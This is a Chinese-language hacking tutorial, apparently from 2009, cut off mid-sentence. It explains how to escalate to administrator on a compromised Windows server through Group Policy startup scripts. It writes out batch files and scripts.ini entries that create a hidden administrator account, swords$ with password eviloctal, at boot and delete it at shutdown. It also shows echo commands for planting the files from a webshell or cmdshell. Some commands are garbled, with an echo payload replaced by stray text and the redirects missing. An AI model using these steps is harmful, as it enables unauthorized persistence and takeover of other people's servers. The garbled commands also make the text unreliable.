提升管理员权限 启动脚本法.txt.docVIP

提升管理员权限 启动脚本法.txt 提升管理员权限:启动脚本法 on 2009-9-10 in 安全 | 0 Comment 大家看过“我非我[F.S.T]”整理总结提升管理员权限8法现在我们利用启动脚本和批处理在获得shell情况下提升权限第9法: 启动脚本法！！首家批漏啊大家可得看好了我尽量废话少说言简意赅表述 注:启动脚本是邀请用户登录的前运行批文件,它功能类似于Win9X和DOS中自动执行批处理文件autoexec.bat,由于脚本是在windows登陆的前运行,所以我们可以修改脚本内容来对系统进行设置,如启动个后门,添加个管理员帐号,修改管理员帐号等等,随你想吧.嘎嘎.. 本文首先介绍通过webshell添加个隐藏帐号(毕竟这才是大家最关心:)),然后具体讲解下出现问题后解决思路方法.如何添加个帐号? .如果你可以直接写文件,如用海洋. (1) 首先我们用海洋编写了个新建管理员批处理文件swords1.bat,如下: net user swords$ eviloctal /add net localgroup administrators swords$ /add 这个批处理文件加了个管理员名为swords$,密码为eviloctal隐藏帐户将文件swords1.bat保存到C:\winnt\system32\GroupPolicy\Machine\Scripts\Startup下. (注意:c:\winnt是系统目录如果系统盘不是c盘请相应修改为系统目录即可.在本机中查看你也许找不到GroupPolicy\Machine\Scripts\Startup这个文件夹,可以选择工具/文件夹选项/查看/单击显示所有文件和文件夹.在海洋中用fso可以显示所有文件就不必多此举了) (2)接下来编写个删除管理员批处理文件swords2.bat,很简单句话即可如下: net user swords$ /del 这个批处理文件删除个管理员名为swords$隐藏帐户将文件swords2.bat保存到C:\winnt\system32\GroupPolicy\Machine\Scripts\Shutdown下. (3)编写个启动/关机脚本配置文件scripts.ini (注意:scripts是默认配置文件名不能改名！)如下: [Startup] 0CmdLine=swords1.bat 0Parameters= [Shutdown] 0CmdLine=swords2.bat 0Parameters= 将文件scripts.ini保存到C:\winnt\system32\GroupPolicy\Machine\Scripts下. 2.如果你有个cmdshell,有echo权限就可以了,这样添加: (1)echo个swords1.vbs启动时用文件 echo _disibledevent=数据. (2)echo个swords2.vbs关闭时用脚本文件 echo net user swords$ /del C:\winnt\system32\GroupPolicy\Machine\Scripts\Shutdown\swords2.vbs (3)编写个启动/关机脚本配置文件scripts.ini echo [Startup] C:\winnt\system32\GroupPolicy\Machine\Scripts\scripts.ini echo 0CmdLine=swords1.vbs C:\winnt\system32\GroupPolicy\Machine\Scripts\scripts.ini echo 0Parameters= C:\winnt\system32\GroupPolicy\Machine\Scripts\scripts.ini echo [Shutdown] C:\winnt\system32\GroupPolicy\Machine\Scripts\scripts.ini echo 0CmdLine=swords2.vbsC:\winnt\system32\GroupPolicy\Machine\Scripts\scripts.ini echo 0Parameters=C:\winnt\system32\GroupPolicy\Machine\Scripts\scripts.ini 将文件scripts.ini保存到C:\winnt\system32\GroupPolicy\Machine\Scripts下. 最后等待服务器重新启动计算机或自己强制其启动(手段很多啊)然后你就等着玩吧 注意:本思路方法使用时须服务器已经指派了计算机启动脚本,否则本思路方法可能不成功 3．如果你是本机或已经连接了对方3389但是只有普通